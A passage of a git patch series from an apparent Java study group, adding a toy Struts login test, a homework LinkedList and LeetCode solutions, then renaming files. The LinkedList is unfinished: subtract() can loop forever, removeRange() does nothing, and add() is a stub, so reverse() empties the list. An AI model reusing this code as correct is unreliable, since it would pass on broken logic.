+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/StrutsTest.java b/group23/632678665/com/basic/week2/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..5549100269
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.basic.week2.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/View.java b/group23/632678665/com/basic/week2/litestruts/View.java
new file mode 100644
index 0000000000..7260afd69b
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/View.java
@@ -0,0 +1,24 @@
+package com.basic.week2.litestruts;
+
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/632678665/com/basic/week3/datastructure/LinkedList.java b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
new file mode 100644
index 0000000000..569831704d
--- /dev/null
+++ b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
@@ -0,0 +1,440 @@
+package com.basic.week3.datastructure;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+public class LinkedList implements List {
+
+	private int size = 0;
+	// 头结点
+	private Node head;
+	// 尾结点
+	private Node tail;
+
+	private void rangeCheck(int index) {
+		if (index < 0 || index > size) {
+			throw new IndexOutOfBoundsException();
+		}
+	}
+
+//	public void add(Object o) {
+//		Node node = new Node(o, null);
+//		if (head == null) {
+//			head = tail = node;
+//		}
+//		Node oldTail = tail;
+//		tail = node;
+//		oldTail.next = tail;
+//		size++;
+//	}
+
+	public void add(int index, Object o) {
+		rangeCheck(index);
+		if (index == size) {
+			this.add(o);
+		} else {
+			// 保存index处节点
+			Node x = head;
+			// 保存index-1处的节点
+			Node y = null;
+			for (int i = 0; i < index; i++) {
+				y = x;
+				x = x.next;
+			}
+			Node node = new Node(o, x);
+			y.next = node;
+			size++;
+		}
+	}
+
+	public Object get(int index) {
+		rangeCheck(index);
+		Node x = head;
+		for (int i = 0; i < index; i++) {
+			x = x.next;
+		}
+		return x.data;
+	}
+
+	public Object remove(int index) {
+		rangeCheck(index);
+		Object removeData;
+		if (index == 0) {
+			removeData = removeFirst();
+		} else if (index == size - 1) {
+			removeData = removeLast();
+		} else {
+			Node x = head;
+			Node y = head;
+			for (int i = 0; i < index; i++) {
+				y = x;
+				x = x.next;
+			}
+			y.next = x.next;
+			size--;
+			removeData = x.data;
+		}
+		return removeData;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public void addFirst(Object o) {
+		Node oldHead = head;
+		head = new Node(o, oldHead);
+		size++;
+	}
+
+	public void addLast(Object o) {
+		Node oldTail = tail;
+		tail = new Node(o, null);
+		oldTail.next = tail;
+		size++;
+	}
+
+	public Object removeFirst() {
+		Node next = head.next;
+		Object data = head.data;
+		head.data = null;
+		head.next = null;
+		head = next;
+		size--;
+		return data;
+	}
+
+	public Object removeLast() {
+		Node oldTail = tail;
+		Node temp = head;
+		for (int i = 0; i < size - 2; i++) {
+			temp = temp.next;
+		}
+		tail = temp;
+		size--;
+		return oldTail.data;
+	}
+
+	public void clear() {
+		for (Node x = head; x != null;) {
+			Node next = x.next;
+			x.data = null;
+			x.next = null;
+			x = next;
+		}
+		head = tail = null;
+		size = 0;
+	}
+
+	public Object getTail() {
+		Node l = tail;
+		// 如果链表为空
+		if (l == null) {
+			throw new NoSuchElementException();
+		}
+		return l.data;
+	}
+
+	public Object getHead() {
+		Node l = head;
+		// 如果链表为空
+		if (l == null) {
+			throw new NoSuchElementException();
+		}
+		return l.data;
+	}
+
+	public Iterator iterator() {
+		return new LinkedListIterator();
+	}
+
+	private static class Node {
+		Object data;
+		Node next;
+
+		Node(Object data, Node next) {
+			this.data = data;
+			this.next = next;
+		}
+
+	}
+
+	private class LinkedListIterator implements Iterator {
+		Node x = head;
+
+		@Override
+		public boolean hasNext() {
+			return x != null;
+		}
+
+		@Override
+		public Object next() {
+			Object data = x.data;
+			x = x.next;
+			return data;
+		}
+
+	}
+
+	/**
+	 * 把该链表逆置 例如链表为 3->7->10 , 逆置后变为 10->7->3
+	 */
+	public void reverse() {
+		Object[] temp = new Object[size];
+		for (int i = 0; i < size; i++) {
+			temp[i] = this.get(i);
+		}
+		this.clear();
+		for (int i = temp.length - 1; i >= 0; i--) {
+			this.add(temp[i]);
+		}
+	}
+
+	/**
+	 * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
+	 * ,删除以后的值为7,8,10
+	 *
+	 */
+	public void removeFirstHalf() {
+		int s = size;
+		for (int i = 0; i < s / 2; i++) {
+			this.removeFirst();
+		}
+	}
+
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 *
+	 * @param i
+	 * @param length
+	 * @throws Exception
+	 */
+	public void remove(int i, int length) throws Exception {
+		if (i + length > size) {
+			throw new Exception();
+		}
+		for (int j = i; j < i + length; j++) {
+			this.remove(i);
+		}
+	}
+
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
+	 * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]
+	 *
+	 * @param list
+	 * @throws Exception
+	 */
+	public int[] getElements(LinkedList list) throws Exception {
+		if ((int) list.getTail() > this.size()) {
+			throw new Exception();
+		}
+		int[] temp = new int[list.size()];
+		for (int i = 0; i < list.size(); i++) {
+			temp[i] = (int) this.get((int) list.get(i));
+		}
+		return temp;
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 从当前链表中中删除在list中出现的元素
+	 *
+	 * @param list
+	 */
+
+	public void subtract(LinkedList list) {
+		Node x = head;
+		Node y = list.head;
+		while (x != null && y != null) {
+			if ((int) x.data < (int) y.data) {
+				x = x.next;
+				continue;
+			}
+			if ((int) x.data == (int) y.data) {
+				Node next = x.next;
+				continue;
+			}
+			if ((int) x.data > (int) y.data) {
+				y = y.next;
+				continue;
+			}
+		}
+	}
+
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public void removeDuplicateValues() {
+		for (Node x = head; x != null;) {
+			Node next = x.next;
+			if (next == null) {
+				return;
+			}
+			if (x.data == next.data) {
+				x.next = next.next;
+				size--;
+			} else {
+				x = x.next;
+			}
+		}
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 *
+	 * @param min
+	 * @param max
+	 */
+	public void removeRange(int min, int max) {
+		if ((int) this.getTail() < min) {
+			this.clear();
+		}
+
+		if ((int) this.getHead() > max) {
+			return;
+		}
+
+		for (Node x = head; x != null; x = x.next) {
+			if ((int) x.data <= min) {
+				continue;
+			}
+
+		}
+	}
+
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 *
+	 * @param list
+	 */
+	public LinkedList intersection(LinkedList list) {
+		LinkedList linkedList = new LinkedList();
+		Node x = head;
+		Node y = list.head;
+		while (x != null && y != null) {
+			if ((int) x.data < (int) y.data) {
+				x = x.next;
+				continue;
+			}
+			if ((int) x.data == (int) y.data) {
+				linkedList.add(x.data);
+				x = x.next;
+				y = y.next;
+				continue;
+			}
+			if ((int) x.data > (int) y.data) {
+				y = y.next;
+				continue;
+			}
+		}
+		return linkedList;
+	}
+
+	@Override
+	public boolean isEmpty() {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean contains(Object o) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public Object[] toArray() {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public Object[] toArray(Object[] a) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public boolean remove(Object o) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean containsAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean addAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean addAll(int index, Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean removeAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean retainAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public Object set(int index, Object element) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public int indexOf(Object o) {
+		// TODO Auto-generated method stub
+		return 0;
+	}
+
+	@Override
+	public int lastIndexOf(Object o) {
+		// TODO Auto-generated method stub
+		return 0;
+	}
+
+	@Override
+	public ListIterator listIterator() {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public ListIterator listIterator(int index) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public List subList(int fromIndex, int toIndex) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public boolean add(Object e) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+}

From d8915f69eb62ca46dd06f58b3cc25bf60ec887b1 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Wed, 29 Mar 2017 09:08:00 +0800
Subject: [PATCH 028/262] leetcode

leetcode
---
 .../me/leetcode/algorithms/AddTwoNums.java    |  84 +++++++
 ...stSubstringWithoutRepeatingCharacters.java | 229 ++++++++++++++++++
 .../coding/me/leetcode/algorithms/TwoSum.java |  81 +++++++
 3 files changed, 394 insertions(+)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java

diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
new file mode 100644
index 0000000000..0ac6d7419f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
@@ -0,0 +1,84 @@
+package com.coding.me.leetcode.algorithms;
+
+public class AddTwoNums {
+	
+	public ListNode mySolution(ListNode l1, ListNode l2) {
+        int carry = 0;
+        ListNode ret = null;
+        ListNode first = null;
+        while(l1 != null || l2 != null){
+        	int i = l1 == null?0 : l1.val;
+        	int j = l2 == null?0 : l2.val;
+        	int sum = i + j + carry;
+        	if(sum >= 10){
+        		carry = 1;
+        		sum -= 10;
+        	}else{
+        		carry = 0;
+        	}
+        	if(ret == null){
+        		ret = new ListNode(sum);
+        		first = ret;
+        	}else{
+        		ret.next = new ListNode(sum);
+        		ret = ret.next;
+        	}
+        	if(l1 != null){
+        		l1 = l1.next;
+        	}
+        	if(l2 != null){
+        		l2 = l2.next;
+        	}
+        }
+        if(carry > 0){
+        	ret.next = new ListNode(carry);
+        }
+		return first;
+    }
+	
+	public ListNode leetcodeSolution(ListNode l1, ListNode l2) {
+	    ListNode dummyHead = new ListNode(0);
+	    ListNode p = l1, q = l2, curr = dummyHead;
+	    int carry = 0;
+	    while (p != null || q != null) {
+	        int x = (p != null) ? p.val : 0;
+	        int y = (q != null) ? q.val : 0;
+	        int sum = carry + x + y;
+	        carry = sum / 10;
+	        curr.next = new ListNode(sum % 10);
+	        curr = curr.next;
+	        if (p != null) p = p.next;
+	        if (q != null) q = q.next;
+	    }
+	    if (carry > 0) {
+	        curr.next = new ListNode(carry);
+	    }
+	    return dummyHead.next;
+	}
+	
+	public static void main(String[] args) {
+		ListNode l11 = new ListNode(2);
+		ListNode l12 = new ListNode(4);
+		ListNode l13 = new ListNode(3);
+		l11.next = l12;
+		l12.next = l13;
+		
+		ListNode l21 = new ListNode(5);
+		ListNode l22 = new ListNode(6);
+		ListNode l23 = new ListNode(4);
+		l21.next = l22;
+		l22.next = l23;
+		
+		ListNode ret = new AddTwoNums().mySolution(l11, l21);
+		while(ret != null){
+			System.out.println(ret.val);
+			ret = ret.next;
+		}
+	}
+}
+
+class ListNode {
+	int val;
+	ListNode next;
+	ListNode(int x) { val = x; }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
new file mode 100644
index 0000000000..4cc3a5667b
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
@@ -0,0 +1,229 @@
+package com.coding.me.leetcode.algorithms;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Given a string, find the length of the longest substring without repeating
+ * characters.
+ * 
+ * Examples:
+ * 
+ * Given "abcabcbb", the answer is "abc", which the length is 3.
+ * 
+ * Given "bbbbb", the answer is "b", with the length of 1.
+ * 
+ * Given "pwwkew", the answer is "wke", with the length of 3. Note that the
+ * answer must be a substring, "pwke" is a subsequence and not a substring.
+ * 
+ * @author hewj
+ *
+ */
+public class LongestSubstringWithoutRepeatingCharacters {
+	
+	public int mySolution(String s) {
+        if(s == null){
+        	return 0;
+        }else if(s.length() <= 1){
+        	return s.length();
+        }
+        char[] chars = s.toCharArray();
+        char[] tmp = new char[chars.length];
+        int maxLength = 1;
+        int length, k;
+        for(int i=0;i<chars.length;i++){
+        	length = 1;
+        	k = 0;
+        	tmp[k++] = chars[i];
+        	end:
+        	for(int j=i+1;j<chars.length;j++){
+        		for(int l=0;l<k;l++){
+        			if(tmp[l] == chars[j]){
+        				break end;
+        			}
+        		}
+        		tmp[k++] = chars[j];
+        		length++;
+        	}
+        	if(maxLength < length){
+        		maxLength = length;
+        	}
+        }
+		return maxLength;
+    }
+	
+	/**
+	 * Time complexity : O(n^3)
+	 * @param s
+	 * @return
+	 */
+	public int leetCodeSolution1(String s) {
+        int n = s.length();
+        int ans = 0;
+        for (int i = 0; i < n; i++)
+            for (int j = i + 1; j <= n; j++)
+                if (allUnique(s, i, j)) ans = Math.max(ans, j - i);
+        return ans;
+    }
+
+    public boolean allUnique(String s, int start, int end) {
+        Set<Character> set = new HashSet<>();
+        for (int i = start; i < end; i++) {
+            Character ch = s.charAt(i);
+            if (set.contains(ch)) return false;
+            set.add(ch);
+        }
+        return true;
+    }
+    
+    /**
+     * Sliding Window
+	 * The naive approach is very straightforward. But it is too slow. So how
+	 * can we optimize it?
+	 * 
+	 * In the naive approaches, we repeatedly check a substring to see if it has
+	 * duplicate character. But it is unnecessary. If a substring S​ij ​​ from
+	 * index i i to j 1 j−1 is already checked to have no duplicate characters.
+	 * We only need to check if s[j] is already in the substring S​ij ​​ .
+	 * 
+	 * To check if a character is already in the substring, we can scan the
+	 * substring, which leads to an O(n^2) algorithm. But we can do better.
+	 * 
+	 * By using HashSet as a sliding window, checking if a character in the
+	 * current can be done in O 1 O(1).
+	 * 
+	 * A sliding window is an abstract concept commonly used in array/string
+	 * problems. A window is a range of elements in the array/string which
+	 * usually defined by the start and end indices, i.e. i j [i,j)
+	 * (left-closed, right-open). A sliding window is a window "slides" its two
+	 * boundaries to the certain direction. For example, if we slide i j [i,j)
+	 * to the right by 1 1 element, then it becomes i 1 j 1 [i+1,j+1)
+	 * (left-closed, right-open).
+	 * 
+	 * Back to our problem. We use HashSet to store the characters in current
+	 * window i j [i,j) ( j i j=i initially). Then we slide the index j j to the
+	 * right. If it is not in the HashSet, we slide j j further. Doing so until
+	 * s[j] is already in the HashSet. At this point, we found the maximum size
+	 * of substrings without duplicate characters start with index i i. If we do
+	 * this for all i i, we get our answer.
+	 * 
+	 * Time complexity : O(2n)=O(n). In the worst case each character will be
+	 * visited twice by i and j.
+	 * 
+	 * Space complexity : O(min(m,n)). Same as the previous approach. We need
+	 * O(k) space for the sliding window, where k is the size of the Set. The
+	 * size of the Set is upper bounded by the size of the string n n and the
+	 * size of the charset/alphabet m m.
+	 * 
+	 * @param s
+	 * @return
+	 */
+    public int leetcodeSolution2(String s) {
+        int n = s.length();
+        Set<Character> set = new HashSet<>();
+        int ans = 0, i = 0, j = 0;
+        while (i < n && j < n) {
+            // try to extend the range [i, j]
+            if (!set.contains(s.charAt(j))){
+                set.add(s.charAt(j++));
+                ans = Math.max(ans, j - i);
+            }
+            else {
+                set.remove(s.charAt(i++));
+            }
+        }
+        return ans;
+    }
+    
+    /**
+	 * Sliding Window Optimized 
+	 * 
+	 * The above solution requires at most 2n steps. In fact, it could be
+	 * optimized to require only n steps. Instead of using a set to tell if a
+	 * character exists or not, we could define a mapping of the characters to
+	 * its index. Then we can skip the characters immediately when we found a
+	 * repeated character.
+	 * 
+	 * The reason is that if s[j] have a duplicate in the range [i,j)
+	 * with index j ​′ ​​ , we don't need to increase i little by little.
+	 * We can skip all the elements in the range [i,j ​′ ​​ ] and let i i
+	 * to be j ​′+1 directly.
+	 * 
+	 * @param s
+	 * @return
+	 */
+    public int leetCodeSolution3(String s){
+    	int n = s.length(), ans = 0;
+        Map<Character, Integer> map = new HashMap<>(); // current index of character
+        // try to extend the range [i, j]
+        for (int j = 0, i = 0; j < n; j++) {
+            if (map.containsKey(s.charAt(j))) {
+                i = Math.max(map.get(s.charAt(j)), i);
+            }
+            ans = Math.max(ans, j - i + 1);
+            map.put(s.charAt(j), j + 1);
+        }
+        return ans;
+    }
+    
+	/**
+	 * Java (Assuming ASCII 128)
+	 * 
+	 * The previous implements all have no assumption on the charset of the
+	 * string s.
+	 * 
+	 * If we know that the charset is rather small, we can replace the Map with
+	 * an integer array as direct access table.
+	 * 
+	 * Commonly used tables are:
+	 * 
+	 * int[26] for Letters 'a' - 'z' or 'A' - 'Z' 
+	 * int[128] for ASCII 
+	 * int[256] for Extended ASCII
+	 * 
+	 * @param s
+	 * @return
+	 */
+    public int leetCodeSolution4(String s) {
+        int n = s.length(), ans = 0;
+        int[] index = new int[128]; // current index of character
+        // try to extend the range [i, j]
+        for (int j = 0, i = 0; j < n; j++) {
+            i = Math.max(index[s.charAt(j)], i);
+            ans = Math.max(ans, j - i + 1);
+            index[s.charAt(j)] = j + 1;
+        }
+        return ans;
+    }
+    
+    
+	private LongestSubstringWithoutRepeatingCharacters lswrc;
+	@Before
+	public void setup(){
+		lswrc = new LongestSubstringWithoutRepeatingCharacters();
+	}
+	
+	@Test
+	public void testMySolution(){
+		Assert.assertEquals(3, lswrc.mySolution("abcabcbb"));
+		Assert.assertEquals(4, lswrc.mySolution("abcdabcdbbd"));
+	}
+	
+	@Test
+	public void testLeetcodeSolution3(){
+		Assert.assertEquals(3, lswrc.leetCodeSolution3("abcabcbb"));
+		Assert.assertEquals(4, lswrc.leetCodeSolution3("abcdabcdbbd"));
+	}
+	
+	@Test
+	public void testLeetcodeSolution4(){
+		Assert.assertEquals(3, lswrc.leetCodeSolution4("abcabcbb"));
+//		Assert.assertEquals(4, lswrc.leetCodeSolution4("abcdabcdbbd"));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
new file mode 100644
index 0000000000..45e4727ec7
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
@@ -0,0 +1,81 @@
+package com.coding.me.leetcode.algorithms;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Given an array of integers, return indices of the two numbers such that
+ * they add up to a specific target.
+ * 
+ * You may assume that each input would have exactly one solution, and you
+ * may not use the same element twice.
+ * 
+ * Example: Given nums = [2, 7, 11, 15], target = 9,
+ * 
+ * Because nums[0] + nums[1] = 2 + 7 = 9, return [0, 1]. Subscribe to see
+ * which companies asked this question.
+ */
+public class TwoSum {
+	/**
+	 * Time complexity : O(n^2)
+	 * Space complexity : O(1)
+	 * @param nums
+	 * @param target
+	 * @return
+	 */
+	public int[] mySolution(int[] nums, int target) {
+        int[] ret = new int[2];
+        for(int i=0;i<nums.length;i++){
+            for(int j=1;j<nums.length;j++){
+                if(i != j && target == nums[i]+nums[j]){
+                    ret[0] = i;
+                    ret[1] = j;
+                    return ret;
+                }
+            }
+        }
+        return ret;
+    }
+	
+	/**
+	 * two pass hash table
+	 * Time complexity : O(n)
+	 * Space complexity : O(n)
+	 * @param nums
+	 * @param target
+	 * @return
+	 */
+	public int[] leetCodeSolution1(int[] nums, int target) {
+		Map<Integer, Integer> map = new HashMap<>();
+		for (int i = 0; i < nums.length; i++) {
+			map.put(nums[i], i);
+		}
+		for (int i = 0; i < nums.length; i++) {
+			int complement = target - nums[i];
+			if (map.containsKey(complement) && map.get(complement) != i) {
+				return new int[] { i, map.get(complement) };
+			}
+		}
+		throw new IllegalArgumentException("No two sum solution");
+	}
+	
+	/**
+	 * one pass hash table
+	 * Time complexity : O(n)
+	 * Space complexity : O(n)
+	 * @param nums
+	 * @param target
+	 * @return
+	 */
+	public int[] leetCodeSolution2(int[] nums, int target) {
+		Map<Integer, Integer> map = new HashMap<>();
+	    for (int i = 0; i < nums.length; i++) {
+	        int complement = target - nums[i];
+	        if (map.containsKey(complement)) {
+	            return new int[] { map.get(complement), i };
+	        }
+	        map.put(nums[i], i);
+	    }
+	    throw new IllegalArgumentException("No two sum solution");
+	}
+}

From f18705fc174cc3e4ee74668b63c6b21a3ef03ae0 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Wed, 29 Mar 2017 09:32:31 +0800
Subject: [PATCH 029/262] =?UTF-8?q?=E7=AC=AC=E4=B8=89=E6=AC=A1merge?=
 =?UTF-8?q?=E5=90=8E=E6=8F=90=E4=BA=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第三次merge后提交
---
 .../coderising/download/DownloadThread.java   |   0
 .../coderising/download/FileDownloader.java   |   0
 .../download/FileDownloaderTest.java          |   0
 .../coderising/download/api/Connection.java   |   0
 .../download/api/ConnectionException.java     |   5 +-
 .../download/api/ConnectionManager.java       |   0
 .../download/api/DownloadListener.java        |   0
 .../download/impl/ConnectionImpl.java         |   0
 .../download/impl/ConnectionManagerImpl.java  |   0
 .../coderising/litestruts/LoginAction.java    |   0
 .../src/com/coderising/litestruts/Struts.java |   0
 .../com/coderising/litestruts/StrutsTest.java |   0
 .../src/com/coderising/litestruts/View.java   |   0
 .../src/com/coding/basic/BinaryTreeNode.java  |   0
 .../src/com/coding/basic/Iterator.java        |   0
 .../src/com/coding/basic/List.java            |   0
 .../src/com/coding/basic/Queue.java           |   2 +
 .../src/com/coding/basic/Stack.java           |   2 +
 .../com/coding/basic/array}/ArrayList.java    |   5 +-
 .../com/coding/basic}/array/ArrayUtil.java    |   2 +-
 .../coding/basic/linklist/LRUPageFrame.java   | 112 ++++++++++++++++++
 .../basic/linklist/LRUPageFrameTest.java      |  57 +++++++++
 .../coding/basic/linklist}/LinkedList.java    |   5 +-
 .../src/com/coding/me/Palindrome.java         |  82 +++++++++++++
 .../algorithms/MedianOfTwoSortedArrays.java   |  74 ++++++++++++
 .../test/com/coding/basic/TestArrayList.java  |   3 +-
 .../com/coding/basic/TestBinaryTreeNode.java  |   0
 .../test/com/coding/basic/TestLinkedList.java |   4 +-
 .../jvm/loader/ClassFileLoader.java           |  74 ++++++++++++
 .../jvm/test/ClassFileloaderTest.java         |  92 ++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +++++
 31 files changed, 540 insertions(+), 7 deletions(-)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/DownloadThread.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/FileDownloader.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/FileDownloaderTest.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/api/Connection.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/api/ConnectionException.java (61%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/api/ConnectionManager.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/api/DownloadListener.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/impl/ConnectionImpl.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/download/impl/ConnectionManagerImpl.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/litestruts/LoginAction.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/litestruts/Struts.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/litestruts/StrutsTest.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coderising/litestruts/View.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coding/basic/BinaryTreeNode.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coding/basic/Iterator.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coding/basic/List.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coding/basic/Queue.java (89%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/com/coding/basic/Stack.java (94%)
 rename group23/1028361767/{Week1DataStructure/src/com/coding/basic => data-structure/src/com/coding/basic/array}/ArrayList.java (95%)
 rename group23/1028361767/{Week1DataStructure/src/com/coderising => data-structure/src/com/coding/basic}/array/ArrayUtil.java (99%)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
 rename group23/1028361767/{Week1DataStructure/src/com/coding/basic => data-structure/src/com/coding/basic/linklist}/LinkedList.java (98%)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/test/com/coding/basic/TestArrayList.java (97%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/test/com/coding/basic/TestBinaryTreeNode.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/test/com/coding/basic/TestLinkedList.java (97%)
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java

diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
rename to group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
rename to group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
